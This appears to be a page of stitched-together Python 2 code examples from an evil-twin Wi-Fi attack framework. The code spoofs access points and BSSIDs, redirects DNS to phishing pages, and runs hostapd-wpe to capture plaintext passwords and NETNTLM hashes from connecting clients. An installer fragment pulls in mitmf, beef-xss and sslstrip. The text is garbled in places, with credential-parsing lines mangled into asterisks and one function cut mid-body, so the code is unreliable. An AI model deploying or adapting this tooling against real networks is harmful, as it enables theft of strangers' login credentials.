Example #1
0
class DNSSpoofer(AirHostPlugin):

    def __init__(self, config):
        super(DNSSpoofer, self).__init__(config, "dnsspoofer")
        self.spoof_ip = self.config["spoof_ip"]
        self.hosts_config_path = self.config["hosts_conf"]

        spoofpages = self.config["spoof_pages"]
        self.spoofpages = spoofpages if type(spoofpages) is list else [spoofpages]

        self.captive_portal_mode = False
        self.httpserver_running = False

        self.httpserver = self._configure_http_server()
        self.file_handler = None

    def _configure_http_server(self):
        httpserver = None
        if self.config["httpserver"].lower() == "true":
            apache_config_path = self.config["apache_conf"]
            apache_root_path = self.config["apache_root"]
            ssl = self.config["ssl_on"].lower() == "true"
            overwrite = self.config["overwrite_pages"].lower() == "true"
            httpserver = HTTPServer(apache_config_path, apache_root_path, ssl, overwrite)

            try:
                if self.config["print_phishing_creds"].lower() == "true":
                    httpserver.set_cred_file_keyword(self.config["creds_file_keyword"])
            except: pass

        return httpserver

    def set_captive_portal_mode(self, captive_portal_mode):
        self.captive_portal_mode = captive_portal_mode

    def set_http_server(self, server):
        self.httpserver = server

    def has_http_server(self):
        return self.httpserver is not None

    def add_page_to_spoof(self, page_name):
        for page in os.listdir("data/spoofpages/"):
            if page_name in page:
                self.spoofpages.append(page)
                print "[+] Added '{page}' to spoof list".format(page = page)
                SessionManager().log_event(NeutralEvent("Added '{page}' to spoof list".format(page = page)))
                return

        print "[-] Page '{}' not found in 'data/spoofpages/' folder."

    def _cleanup_misconfigured_pages(self):
        pages = []
        for page in self.spoofpages:
            for spoofpage in os.listdir("data/spoofpages/"):
                if page in spoofpage:
                    pages.append(spoofpage)
        self.spoofpages = pages

    def map_spoofing_pages(self, redirection_ip):
        if self.file_handler:
            self.file_handler.restore_file()

        self.file_handler = FileHandler(self.hosts_config_path)
        self._cleanup_misconfigured_pages()
        conf_string = ""
        if self.captive_portal_mode:
            page = self.spoofpages[0]
            conf_string += "{ip}\t{domain}\t{alias}\n".format(  ip = redirection_ip,
                                                                domain = page,
                                                                alias = "\t".join(self._create_alias_list(page)))
            conf_string += "{ip} *.*.*\n".format(ip = redirection_ip)
            print "[+] Mapped '{domain}' to {ip} as captive portal".format(domain = page, ip = redirection_ip)
        else:
            for page in self.spoofpages:
                conf_string += "{ip}\t{domain}\t{alias}\n".format(  ip = redirection_ip,
                                                                    domain = page,
                                                                    alias = "\t".join(self._create_alias_list(page)))
                print "[+] Mapped '{domain}' to {ip}".format(domain = page, ip = redirection_ip)
        self.file_handler.write(conf_string)

    def setup_spoofing_pages(self):
        if not self.has_http_server():
            print "[-] No HTTP Server added to DNSSpoofer, cannot setup spoofing"
            return False

        self._cleanup_misconfigured_pages()
        for page in self.spoofpages:
            self.httpserver.add_site(page)
            self.httpserver.configure_page_in_apache(   domain_name = page,
                                                        domain_alias = self._create_alias_list(page),
                                                        captive_portal_mode = self.captive_portal_mode)

    def _create_alias_list(self, domain):
        aliases = []
        splitted_domain = domain.split(".")
        if len(splitted_domain) >= 3:
            for i in range(len(splitted_domain) - 2):
                aliases.append(".".join(splitted_domain[i + 1:]))

        return aliases

    def start_spoofing(self, spoof_ip):
        if not self.has_http_server():
            print "[-] No HTTP Server added to DNSSpoofer, cannot spoof pages"
            return False

        self.httpserver.reset_conf()
        self.map_spoofing_pages(spoof_ip)
        self.setup_spoofing_pages()
        self.httpserver.start_server()
        SessionManager().log_event(NeutralEvent("Sarted local HTTP Server."))

    def stop_spoofing(self):
        if self.has_http_server():
            self.httpserver.reset_conf()
            self.httpserver.start_server(False)

    def pre_start(self):
        self.start_spoofing(self.spoof_ip)

    def restore(self):
        self.stop_spoofing()
        self.file_handler.restore_file()
class DNSMasqHandler(object):
    def __init__(self, dnsmasq_config_path):
        self.dnsmasq_config_path = dnsmasq_config_path

        self.captive_portal_mode = False
        self.dnsmasq_running = False

        self.file_handler = None

    def set_captive_portal_mode(self, captive_portal_mode):
        self.captive_portal_mode = captive_portal_mode

    def write_dnsmasq_configurations(self,
                                     interface,
                                     ip_gw,
                                     dhcp_range=[],
                                     nameservers=[],
                                     virtInterfaces=0):
        # Argument cleanup
        if type(nameservers) is not list:
            nameservers = [nameservers]

        dhcp_range_string = "\ndhcp-range={interface}, {dhcp_start}, {dhcp_end}, 12h".format(
            interface=interface,
            dhcp_start=dhcp_range[0],
            dhcp_end=dhcp_range[1])
        for i in range(virtInterfaces):
            dhcp_start = ".".join(
                dhcp_range[0].split(".")[0:2] +
                [str(int(dhcp_range[0].split(".")[2]) + i + 1)] +
                [dhcp_range[0].split(".")[3]])
            dhcp_end = ".".join(
                dhcp_range[1].split(".")[0:2] +
                [str(int(dhcp_range[1].split(".")[2]) + i + 1)] +
                [dhcp_range[1].split(".")[3]])
            dhcp_range_string += "\ndhcp-range={interface}_{index}, {dhcp_start}, {dhcp_end}, 12h".format(
                interface=interface,
                index=i,
                dhcp_start=dhcp_start,
                dhcp_end=dhcp_end)
        configurations = dedent("""
                                {dhcp_range}
                                dhcp-option=3,{ip_gw}
                                dhcp-option=6,{ip_gw}
                                """.format(dhcp_range=dhcp_range_string,
                                           interface=interface,
                                           ip_gw=ip_gw))
        configurations += "bind-interfaces\n"

        if self.captive_portal_mode:
            configurations += "no-resolv\n"
            configurations += "address=/#/{ip_gw}\n".format(ip_gw=ip_gw)
        else:
            for server in nameservers:
                configurations += "server={server}\n".format(server=server)

        return self._safe_write_config(configurations,
                                       self.dnsmasq_config_path)

    def _safe_write_config(self, configurations, config_path):
        if self.file_handler:
            self.file_handler.write(configurations)
        else:
            self.file_handler = FileHandler(config_path)
            self.file_handler.write(configurations)

    def start_dnsmasq(self):
        print "[+] Starting dnsmasq service"
        if not os.system('service dnsmasq restart') == 0:
            return False

        self.dnsmasq_running = True
        return True

    def stop_dnsmasq(self):
        os.system('service dnsmasq stop')
        os.system('pkill dnsmasq')  # Cleanup
        self.dnsmasq_running = False

    def cleanup(self):
        if self.file_handler is not None:
            self.file_handler.restore_file()
    print "[+] Cleaning up the cloned folder after installation"
    os.system(cleanup_command)


# Script starts here
if os.geteuid() != 0:
    print "You are not privileged enough."
    sys.exit(1)

try:
    print "[+] Adding kali-linux repositories to /etc/apt/sources.list"
    apt_source_fhandler = FileHandler("/etc/apt/sources.list")
    apt_source_fhandler.write(
        dedent("""
                                    deb http://repo.kali.org/kali kali-rolling main non-free contrib
                                    deb-src http://repo.kali.org/kali kali-rolling main non-free contrib
                                    """))
except Exception as e:
    print "[-] This tool is only supported by Debian systems"
    print "[-] You should have apt package manager installed."
    sys.exit(1)

# Dependencies
package_list = [
    "python-scapy", "dnsmasq", "hostapd-wpe", "python-pyric",
    "--reinstall mitmproxy", "gnome-terminal", "mitmf", "beef-xss",
    "ettercap-common", "sslstrip"
]

print "[+] Updating apt... (This may take a while)"
Example #4
0
class DNSMasqHandler(object):
    def __init__(self, dnsmasq_config_path):
        self.dnsmasq_config_path = dnsmasq_config_path

        self.captive_portal_mode = False
        self.dnsmasq_running = False

        self.file_handler = None

    def set_captive_portal_mode(self, captive_portal_mode):
        self.captive_portal_mode = captive_portal_mode

    def write_dnsmasq_configurations(self,
                                     interface,
                                     ip_gw,
                                     dhcp_range=[],
                                     nameservers=[]):
        # Argument cleanup
        if type(nameservers) is not list:
            nameservers = [nameservers]

        configurations = dedent("""
								interface={interface}
								dhcp-range={dhcp_start}, {dhcp_end}, 12h
								dhcp-option=3,{ip_gw}
								dhcp-option=6,{ip_gw}
								""".format(interface=interface,
                   ip_gw=ip_gw,
                   dhcp_start=dhcp_range[0],
                   dhcp_end=dhcp_range[1]))

        if self.captive_portal_mode:
            configurations += "no-resolv\n"
            configurations += "address=/#/{ip_gw}\n".format(ip_gw=ip_gw)
        else:
            for server in nameservers:
                configurations += "server={server}\n".format(server=server)

        return self._safe_write_config(configurations,
                                       self.dnsmasq_config_path)

    def _safe_write_config(self, configurations, config_path):
        if self.file_handler:
            self.file_handler.write(configurations)
        else:
            self.file_handler = FileHandler(config_path)
            self.file_handler.write(configurations)

    def start_dnsmasq(self):
        print "[+] Starting dnsmasq service"
        if not os.system('service dnsmasq start') == 0:
            return False

        self.dnsmasq_running = True
        return True

    def stop_dnsmasq(self):
        os.system('service dnsmasq stop')
        os.system('pkill dnsmasq')  # Cleanup
        self.dnsmasq_running = False

    def cleanup(self):
        self.file_handler.restore_file()
Example #5
0
class APLauncher(object):
    def __init__(self, hostapd_config_path):
        self.hostapd_config_path = hostapd_config_path

        self.ap_running = False
        self.ap_process = None
        self.credential_printer = None

        self.connected_clients_updator = None
        self.connected_clients = []

        self.file_handler = None
        self.print_creds = False

    # TODO: Add support for multiple SSIDs!
    def write_hostapd_configurations(self,
                                     interface="wlan0",
                                     ssid=None,
                                     bssid=None,
                                     channel="1",
                                     hw_mode="g",
                                     encryption=None,
                                     auth="PSK",
                                     cipher="CCMP",
                                     password=None):
        self.cleanup()

        try:
            self.file_handler = FileHandler(self.hostapd_config_path,
                                            backup=False)
        except Exception as e:
            print e
            return False

        configurations = dedent("""
								interface={interface}
								ssid={ssid}
								driver=nl80211
								channel={channel}
								hw_mode={hw_mode}
								ignore_broadcast_ssid=0
								""".format(interface=interface,
                   ssid=ssid,
                   channel=channel,
                   hw_mode=hw_mode))

        # Spoof bssid from other access points
        if bssid:
            configurations += "bssid={bssid}\n".format(bssid=bssid)

        # May even want to mirror the encryption type and key
        # so hosts can automatically connect if it is a known network
        if encryption:
            encryption = encryption.lower()
            if ("wpa" in encryption):
                configurations += self._get_wpa_configurations(
                    encryption, auth, cipher, password)
            elif encryption == "wep":
                configurations += self._get_wpe_configurations(password)

        self.file_handler.write(configurations)
        return True

    def _get_wpe_configurations(self, password):
        configurations = ""
        if (len(password) == 5 or len(password) == 13 or len(password) == 16):
            configurations += "wep_default_key=0\n"
            configurations += "wep_key0=\"{key}\"".format(key=password)
        elif (len(password) == 10 or len(password) == 23):
            configurations += "wep_default_key=0\n"
            configurations += "wep_key0={key}".format(key=password)
        else:
            error_msg = "WEP key must be either 5, 8, 13 ascii charachters or 10 or 23 HEX charachters.\n"
            raise InvalidConfigurationException(error_msg)

        return configurations

    def _get_wpa_configurations(self, encryption, auth, cipher, password):
        configurations = ""
        wpa_int = 1
        # Check if input is 'wpa/wpa2'
        if "/" in encryption:
            encryption = encryption.split("/")
            # wpa=1 -> wpa, wpa=2 -> wpa2, wpa=3 -> wpa/wpa2
            if "wpa2" in encryption:
                wpa_int += 1
            if "wpa" in encryption and "wpa2" in encryption:
                wpa_int += 1
        elif encryption == "wpa2":
            wpa_int += 1

        configurations += "wpa={wpa_int}\n".format(
            wpa_int=wpa_int)  # configure wpa or wpa2
        configurations += "wpa_key_mgmt=WPA-{auth}\n".format(
            auth=auth.upper())  # authentication method: PSK or EAP
        configurations += "wpa_pairwise={cipher}\n".format(
            cipher=cipher.upper())  # cipher: CCMP or TKIP

        if auth.lower() == "eap":
            configurations += self._get_wpa_eap_configurations(configurations)
        else:
            configurations += self._get_and_check_wpa_password_configurations(
                configurations, password)

        return configurations

    def _get_wpa_eap_configurations(self, configurations):
        configurations = "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user\n"
        configurations += "ca_cert=/etc/hostapd-wpe//certs/certnew.cer\n"
        configurations += "server_cert=/etc/hostapd-wpe/certs/server.crt\n"
        configurations += "private_key=/etc/hostapd-wpe/certs/server.pem\n"
        configurations += "private_key_passwd=whatever\n"
        configurations += "dh_file=/etc/hostapd-wpe/certs/dh\n"
        configurations += "eap_server=1\n"
        configurations += "eap_fast_a_id=101112131415161718191a1b1c1d1e1f\n"
        configurations += "eap_fast_a_id_info=hostapd-wpe\n"
        configurations += "eap_fast_prov=3\n"
        configurations += "ieee8021x=1\n"
        configurations += "pac_key_lifetime=604800\n"
        configurations += "pac_key_refresh_time=86400\n"
        configurations += "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f\n"
        #configurations += "wpe_logfile=./data/hashes/eap_hashes{}.log\n".format(self._count_hash_captures())
        configurations += "auth_algs=3\n"
        return configurations

    def _get_and_check_wpa_password_configurations(self, configurations,
                                                   password):
        if password is None:
            raise InvalidConfigurationException(
                "Must specify a password when choosing wpa or wpa2 encryption!\n"
            )
        if len(password) < 8 or len(password) > 63:
            raise InvalidConfigurationException(
                "Specified password must have at least 8 printable digits and a maximum of 63\n"
            )
        configurations = "wpa_passphrase={password}\n".format(
            password=password)  # password minimum is 8 digits
        return configurations

    def start_access_point(self, interface):
        print "[+] Starting hostapd background process"
        self.ap_process = Popen("hostapd-wpe -s {config_path}".format(
            config_path=self.hostapd_config_path).split(),
                                stdout=PIPE,
                                stderr=PIPE,
                                universal_newlines=True)
        Thread(target=self._async_cred_logging,
               args=("./data/hashes/eap_hashes{}.log".format(
                   self._count_hash_captures()), self.print_creds)).start()

        self.ap_running = True
        self.connected_clients_updator = Thread(
            target=self.update_connected_clients, args=(interface, ))
        self.connected_clients_updator.start()

    def _async_cred_logging(self, log_file, print_creds=False):
        """
		This method checks for credentials in hostapd-wpe output
		"""
        log_file = open(log_file, "a")
        output_lines = iter(self.ap_process.stdout.readline, "")
        incoming_cred = False
        username = ""
        password = ""
        jtr_challenge_response = ""
        for line in output_lines:
            if "username:"******"username:"******"password:"******"password:"******":" + password + "\n"
                log_file.write(cred_string)
                if print_creds:
                    print cred_string

            if "NETNTLM:" in line:
                incoming_cred = False
                jtr_challenge_response = line.split("NETNTLM:")[-1].strip()
                log_file.write(jtr_challenge_response + "\n")
                if print_creds:
                    print jtr_challenge_response + "\n"

        try:
            log_file.close()
            self.ap_process.stdout.close()
        except:
            pass

    def stop_access_point(self, wait=True):
        if self.ap_process != None:
            print "[+] Killing hostapd background process"
            self.ap_process.send_signal(
                9)  # Send SIGINT to process running hostapd
            self.ap_process = None

        os.system('pkill hostapd-wpe')  # Cleanup
        self.ap_running = False
        if self.connected_clients_updator != None:
            if wait:
                self.connected_clients_updator.join()
            self.connected_clients_updator = None

    def cleanup(self):
        if self.file_handler:
            self.file_handler.restore_file()
            self.file_handler = None

    def update_connected_clients(self, interface):
        fail_count = 0
        while self.ap_running:
            if not self._parse_connected_clients(interface):
                fail_count += 1

            if fail_count > 3:
                print "[-] hostapd was unable to start the access point,"
                print "check configuration file or try restarting. Stopping now."
                self.stop_access_point(wait=False)
                print "stop airhost manually to stop other services"
                break
            sleep(3)

    def _parse_connected_clients(self, interface):
        try:
            if not pyw.modeget(pyw.getcard(interface)) == 'AP':
                print "[-] '{}' is not on AP mode".format(interface)
                return False
        except Exception:
            return False

        client_dump = check_output("iw dev {} station dump".format(
            interface).split()).split('Station')
        client_dump = [
            map(str.strip, client.split("\n")) for client in client_dump
            if interface in client
        ]

        temp_clients = []
        # At this point a client is a list of arguments to be parsed
        for client in client_dump:
            client_mac = client[0].split()[0].strip()
            client_name, client_ip = self._get_ip_from_mac(
                interface, client_mac)
            inactivity_time = client[1].split(":")[1].strip()
            rx_packets = client[3].split(":")[1].strip()
            tx_packets = client[5].split(":")[1].strip()
            signal = client[8].split(":")[1].strip()
            tx_bitrate = client[10].split(":")[1].strip()
            rx_bitrate = client[11].split(":")[1].strip()
            id = len(temp_clients)

            client = Client(id, client_name, client_mac, client_ip,
                            inactivity_time, rx_packets, tx_packets,
                            rx_bitrate, tx_bitrate, signal)

            if client not in self.connected_clients:
                print "[+] New connected client with -> ip: {ip}, mac: {mac} ({vendor})".format(
                    ip=client_ip, mac=client_mac, vendor=client.vendor)
            temp_clients.append(client)

        self.connected_clients = temp_clients
        return True

    def _get_ip_from_mac(self, interface, mac):
        arp_output = check_output(
            "arp -a -i {}".format(interface).split()).split("\n")
        for line in arp_output:
            if mac.lower() in line.lower():
                try:
                    device_name, device_ip = map(str.strip,
                                                 (line.split()[0:2]))
                    device_ip = device_ip[
                        1:
                        -1]  # Cut the enclosing parenthesis off: (0.0.0.0) -> 0.0.0.0
                    return (device_name, device_ip)
                except Exception as e:
                    print e
                    print "[-] Problem occurred while parsing arp output."

        return (None, None)

    def _count_hash_captures(self):
        return len(os.listdir("data/hashes/"))
class DNSMasqHandler(object):

    def __init__(self, dnsmasq_config_path):
        self.dnsmasq_config_path = dnsmasq_config_path

        self.captive_portal_mode = False
        self.dnsmasq_running = False

        self.file_handler = None

    def set_captive_portal_mode(self, captive_portal_mode):
        self.captive_portal_mode = captive_portal_mode

    def write_dnsmasq_configurations(self, interface, ip_gw, dhcp_range=[], nameservers=[], virtInterfaces = 0):
        # Argument cleanup
        if type(nameservers) is not list:
            nameservers = [nameservers]

        dhcp_range_string = "\ndhcp-range={interface}, {dhcp_start}, {dhcp_end}, 12h".format(interface  = interface,
                                                                                             dhcp_start = dhcp_range[0],
                                                                                             dhcp_end   = dhcp_range[1])
        for i in range(virtInterfaces):
            dhcp_start = ".".join(dhcp_range[0].split(".")[0:2] + [str(int(dhcp_range[0].split(".")[2]) + i + 1)] + [dhcp_range[0].split(".")[3]])
            dhcp_end = ".".join(dhcp_range[1].split(".")[0:2] + [str(int(dhcp_range[1].split(".")[2]) + i + 1)] + [dhcp_range[1].split(".")[3]])
            dhcp_range_string += "\ndhcp-range={interface}_{index}, {dhcp_start}, {dhcp_end}, 12h".format(
                                                                                                    interface = interface,
                                                                                                    index = i,
                                                                                                    dhcp_start  = dhcp_start,
                                                                                                    dhcp_end    = dhcp_end)
        configurations = dedent("""
                                {dhcp_range}
                                dhcp-option=3,{ip_gw}
                                dhcp-option=6,{ip_gw}
                                """.format( dhcp_range = dhcp_range_string,
                                            interface = interface,
                                            ip_gw = ip_gw))
        configurations += "bind-interfaces\n"

        if self.captive_portal_mode:
            configurations += "no-resolv\n"
            configurations += "address=/#/{ip_gw}\n".format(ip_gw = ip_gw)
        else:
            for server in nameservers:
                configurations += "server={server}\n".format(server = server)

        return self._safe_write_config(configurations, self.dnsmasq_config_path)

    def _safe_write_config(self, configurations, config_path):
        if self.file_handler:
            self.file_handler.write(configurations)
        else:
            self.file_handler = FileHandler(config_path)
            self.file_handler.write(configurations)

    def start_dnsmasq(self):
        print "[+] Starting dnsmasq service"
        if not os.system('service dnsmasq restart') == 0:
            return False

        self.dnsmasq_running = True
        return True

    def stop_dnsmasq(self):
        os.system('service dnsmasq stop')
        os.system('pkill dnsmasq')  # Cleanup
        self.dnsmasq_running = False

    def cleanup(self):
        if self.file_handler is not None:
            self.file_handler.restore_file()
Example #7
0
class APLauncher(object):
    def __init__(self, hostapd_config_path):
        self.hostapd_config_path = hostapd_config_path

        self.ap_running = False
        self.ap_process = None

        self.connected_clients_updator = None
        self.connected_clients = {}  # interface: client_list

        self.hostapd_output_parser = None

        self.file_handler = None
        self.print_creds = False

    def write_hostapd_configurations(self,
                                     interface="wlan0",
                                     ssid=None,
                                     bssid=None,
                                     channel="1",
                                     hw_mode="g",
                                     encryption="OPN",
                                     auth="PSK",
                                     cipher="CCMP",
                                     password=None,
                                     catch_all_honeypot=False):
        """
        This method writes the configuration file of hostapd.

        According to the inputs the configuration file is written is different ways.
        One can use multiple SSIDs in order to launche more than one access point.
        If the 'catch_all_honeypot' flag is set to 'True' then the first SSID is chosen
        as the "catch all honeypot" SSID.
        """
        self.cleanup()

        try:
            self.file_handler = FileHandler(self.hostapd_config_path,
                                            backup=False)
        except Exception as e:
            print e
            return False

        ssids = None
        encryptions = None
        auths = None
        passwords = None

        ssids, encryptions, auths, passwords = self._parse_configs(
            ssid, encryption, auth, password)
        if ssids:
            ssid, encryption, auth, password = ssids[0], encryptions[0], auths[
                0], passwords[0]

        configurations = dedent("""
                                interface={interface}
                                ssid={ssid}
                                driver=nl80211
                                channel={channel}
                                hw_mode={hw_mode}
                                ignore_broadcast_ssid=0
                                ieee80211n=1
                                wmm_enabled=1
                                """.format(interface=interface,
                                           ssid=ssid,
                                           channel=channel,
                                           hw_mode=hw_mode))

        if catch_all_honeypot:
            configurations = self._get_catch_all_honeypot_configurations(
                configurations, interface, ssid, bssid)
        else:
            configurations = self._get_multiple_ssid_configurations(
                configurations, interface, bssid, ssids, encryptions, auths,
                cipher, passwords)

        self.file_handler.write(configurations)
        return True

    def _get_catch_all_honeypot_configurations(self, configurations, interface,
                                               ssid, bssid):
        """This method writes 'catch-all' honeypot configurations on the hostapd configuration file."""
        # hostapd can automatically create sub bssids if last byte is set to 0
        if bssid:
            bssid = bssid[:-1] + "0"
            configurations += "bssid={bssid}\n".format(bssid=bssid) + "\n"

        # Adding WEP configurations
        configurations += "bss={}_0\n".format(interface)
        configurations += "ssid={}\n".format(ssid)
        configurations += self._get_wep_configurations("12345") + "\n"

        # Adding WPA-PSK configurations
        configurations += "bss={}_1\n".format(interface)
        configurations += "ssid={}\n".format(ssid)
        configurations += self._get_wpa_configurations(
            "wpa/wpa2", "PSK", "CCMP", "12345678") + "\n"

        # Adding WPA-EAP configurations
        configurations += "bss={}_2\n".format(interface)
        configurations += "ssid={}\n".format(ssid)
        configurations += self._get_wpa_configurations("wpa/wpa2", "EAP",
                                                       "CCMP", None) + "\n"

        return configurations

    def _get_multiple_ssid_configurations(self,
                                          configurations,
                                          interface,
                                          bssid=None,
                                          ssids=[],
                                          encryptions=[],
                                          auths=[],
                                          cipher="CCMP",
                                          passwords=[]):
        """This method adds configuration lines for multiple netowrks to the configuration string."""
        # hostapd can automatically create sub bssids if last byte is set to 0
        if bssid:
            bssid = bssid[:-1] + "0"
            configurations += "bssid={bssid}\n".format(bssid=bssid) + "\n"

        ssid_encryption = []
        if len(ssids) == len(encryptions) == len(auths) == len(passwords):
            ssid_encryption = zip(ssids, encryptions, auths, passwords)
        else:
            for ssid in ssids:
                ssid_encryption.append(
                    (ssid, encryptions[0], auths[0], passwords[0]))

        if ssid_encryption:
            counter = 0
            for ssid, encryption, auth, password in ssid_encryption:

                if counter > 0:
                    configurations += "bss={}_{}\n".format(
                        interface, counter - 1)
                    configurations += "ssid={}\n".format(ssid)

                if "opn" in encryption.lower():
                    configurations += "\n"
                elif "wep" in encryption.lower():
                    valid_lengths = [5, 10, 13, 16, 23]
                    if len(password) not in valid_lengths:
                        print "[-] Invalid WEP key length for multiple ssid hotspot: '{}'\
                                \nDefaulting WEP key to '12345'".format(
                            password)
                        password = "******"

                    configurations += self._get_wep_configurations(
                        password) + "\n"

                elif "wpa" in encryption.lower():
                    if not len(password) >= 8 and "eap" not in auth.lower():
                        print "[-] Invalid WPA key length: '{}'\nDefaulting to '12346578'".format(
                            password)
                        password = "******"

                    # Forcing correct configuration so it doesnt come out WPA-WEP or something...
                    if auth.lower() not in ["psk", "eap"]:
                        auth = "PSK"

                    if cipher.lower() not in ["tkip", "ccmp", "tkip/ccmp"]:
                        cipher = "CCMP"

                    configurations += self._get_wpa_configurations(
                        encryption, auth, cipher, password) + "\n"
                counter += 1

        return configurations

    def _get_wep_configurations(self, password):
        configurations = ""
        if (len(password) == 5 or len(password) == 13 or len(password) == 16):
            configurations += "wep_default_key=0\n"
            configurations += "wep_key0=\"{key}\"".format(key=password)
        elif (len(password) == 10 or len(password) == 23):
            configurations += "wep_default_key=0\n"
            configurations += "wep_key0={key}\n".format(key=password)
        else:
            error_msg = "WEP key must be either 5, 13, 16 ascii charachters or 10 or 23 HEX charachters.\n"
            raise InvalidConfigurationException(error_msg)

        return configurations

    def _get_wpa_configurations(self, encryption, auth, cipher, password):
        configurations = ""
        wpa_int = 1
        # Check if input is 'wpa/wpa2'
        if "/" in encryption:
            encryption = encryption.split("/")
            # wpa=1 -> wpa, wpa=2 -> wpa2, wpa=3 -> wpa/wpa2
            if "wpa2" in encryption:
                wpa_int += 1
            if "wpa" in encryption and "wpa2" in encryption:
                wpa_int += 1
        elif encryption == "wpa2":
            wpa_int += 1

        configurations += "wpa={wpa_int}\n".format(
            wpa_int=wpa_int)  # configure wpa or wpa2
        configurations += "wpa_key_mgmt=WPA-{auth}\n".format(
            auth=auth.upper())  # authentication method: PSK or EAP
        configurations += "wpa_pairwise={cipher}\n".format(
            cipher=cipher.upper())  # cipher: CCMP or TKIP

        if auth.lower() == "eap":
            configurations += self._get_wpa_eap_configurations()
        else:
            configurations += self._get_and_check_wpa_password_configurations(
                configurations, password)

        return configurations

    def _get_wpa_eap_configurations(self):
        configurations = "eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user\n"
        configurations += "ca_cert=/etc/hostapd-wpe//certs/certnew.cer\n"
        configurations += "server_cert=/etc/hostapd-wpe/certs/server.crt\n"
        configurations += "private_key=/etc/hostapd-wpe/certs/server.pem\n"
        configurations += "private_key_passwd=whatever\n"
        configurations += "dh_file=/etc/hostapd-wpe/certs/dh\n"
        configurations += "eap_server=1\n"
        configurations += "eap_fast_a_id=101112131415161718191a1b1c1d1e1f\n"
        configurations += "eap_fast_a_id_info=hostapd-wpe\n"
        configurations += "eap_fast_prov=3\n"
        configurations += "ieee8021x=1\n"
        configurations += "pac_key_lifetime=604800\n"
        configurations += "pac_key_refresh_time=86400\n"
        configurations += "pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f\n"
        configurations += "auth_algs=3\n"
        return configurations

    def _get_and_check_wpa_password_configurations(self, configurations,
                                                   password):
        if password is None:
            raise InvalidConfigurationException(
                "Must specify a password when choosing wpa or wpa2 encryption!\n"
            )
        if len(password) < 8 or len(password) > 63:
            raise InvalidConfigurationException(
                "Specified password must have at least 8 printable charachters \
                                                and a maximum of 63\n")
        configurations = "wpa_passphrase={password}\n".format(
            password=password)  # password minimum is 8 digits
        return configurations

    def _parse_configs(self, ssid, encryption, auth, password):
        ssids, encryptions, auths, passwords = None, None, None, None
        if type(ssid) is list:
            ssids = ssid  # Be aware of multiple ssids
        elif type(ssid) is str:
            ssids = [ssid]

        # Specify encryption for each ssid,
        # if encryption list is different size from ssid list then it defaults to the first one
        if type(encryption) is list:
            if len(encryption) == len(ssids):
                encryptions = encryption
            else:
                encryptions = [encryption[0]]
        elif type(encryption) is str:
            encryptions = [encryption]

        # Same thing for auth suites and passwords
        if type(auth) is list:
            if len(auth) == len(encryptions):
                auths = auth
            else:
                auths = [auth[0]]

        elif type(auth) is str:
            auths = [auth]

        if type(password) is list:
            if len(password) == len(auths):
                passwords = password
            else:
                passwords = [password[0]]

        elif type(auth) is str:
            passwords = [password]

        return ssids, encryptions, auths, passwords

    def _async_cred_logging(self, log_file_path, print_creds=False):
        """This method checks for credentials in hostapd-wpe output."""
        log_file = None
        file_open = False
        output_lines = iter(self.ap_process.stdout.readline, "")
        incoming_cred = False
        username = ""
        password = ""
        jtr_challenge_response = ""
        for line in output_lines:
            if "username:"******"username:"******"a")
                file_open = True

            if "password:"******"password:"******":" + password + "\n"
                log_file.write(cred_string)
                SessionManager().log_event(
                    SuccessfulEvent(
                        "Got plain text password from '{}'".format(username)))
                if print_creds:
                    print cred_string

            if "NETNTLM:" in line:
                incoming_cred = False
                jtr_challenge_response = line.split("NETNTLM:")[-1].strip()
                log_file.write(jtr_challenge_response + "\n")
                SessionManager().log_event(
                    SuccessfulEvent("Got EAP hash from '{}'".format(username)))
                if print_creds:
                    print jtr_challenge_response + "\n"

            if file_open and not incoming_cred:
                log_file.close()

        try:
            self.ap_process.stdout.close()
            log_file.close()
        except:
            pass

    def start_access_point(self, interface):
        """
        This method launches the preconfigures hostapd background process.

        It launches hostapd-wpe background process with Popen and sends its
        output to a thread which looks for found credentials.
        Another thread is started to monitor the connected client list.
        """
        print "[+] Starting hostapd background process"
        self.ap_process = Popen("hostapd-wpe -s {config_path}".format(
            config_path=self.hostapd_config_path).split(),
                                stdout=PIPE,
                                stderr=PIPE,
                                universal_newlines=True)
        self.hostapd_output_parser = Thread(
            target=self._async_cred_logging,
            args=("./data/hashes/eap_hashes{}.log".format(
                self._count_hash_captures()), self.print_creds))
        self.hostapd_output_parser.start()

        self.ap_running = True
        sleep(1)
        self.connected_clients_updator = Thread(
            target=self._update_connected_clients, args=(interface, ))
        self.connected_clients_updator.start()

    def stop_access_point(self, wait=True):
        """
        This method stops the previously created access point.

        It sends SIGINT to the background hostapd process and turns off dnsmasq.
        """
        if self.ap_process is not None:
            print "[+] Killing hostapd background process"
            self.ap_process.send_signal(
                9)  # Send SIGINT to process running hostapd
            self.ap_process = None

        os.system('pkill hostapd-wpe')  # Cleanup
        self.ap_running = False
        if self.connected_clients_updator is not None:
            if wait:
                self.connected_clients_updator.join()
            self.connected_clients_updator = None

    def cleanup(self):
        """Global cleanup method."""
        if self.file_handler:
            self.file_handler.restore_file()
            self.file_handler = None

    def get_connected_clients(self):
        """Returns the list of client objects that are connected to the access point."""
        return [
            client for ssid in self.connected_clients.keys()
            for client in self.connected_clients[ssid]
        ]

    def _update_connected_clients(self, interface):
        fail_count = 0
        while self.ap_running:
            # Gets virtual interfaces too because their name is same as ap_interface with _<index> appended
            ap_interfaces = [
                iface for iface in pyw.winterfaces() if interface in iface
            ]
            for ap_interface in ap_interfaces:
                if not self._parse_connected_clients(ap_interface):
                    fail_count += 1

                if fail_count > 5:
                    print "[-] hostapd was unable to start the access point,"
                    print "check configuration file or try restarting. Stopping now."
                    self.stop_access_point(wait=False)
                    print "stop airhost manually to stop other services"
                    break

            sleep(3)

    def _parse_connected_clients(self, interface):
        try:
            if not pyw.modeget(pyw.getcard(interface)) == 'AP':
                print "[-] '{}' is not on AP mode".format(interface)
                return False
        except Exception:
            return False

        client_dump = check_output("iw dev {} station dump".format(
            interface).split()).split('Station')
        client_dump = [
            map(str.strip, client.split("\n")) for client in client_dump
            if interface in client
        ]
        ssid = NetUtils().get_ssid_from_interface(interface)
        temp_clients = []
        # At this point a client is a list of arguments to be parsed
        for client in client_dump:
            client_mac = client[0].split()[0].strip()
            client_name, client_ip = NetUtils().get_ip_from_mac(
                interface, client_mac)
            inactivity_time = client[1].split(":")[1].strip()
            rx_packets = client[3].split(":")[1].strip()
            tx_packets = client[5].split(":")[1].strip()
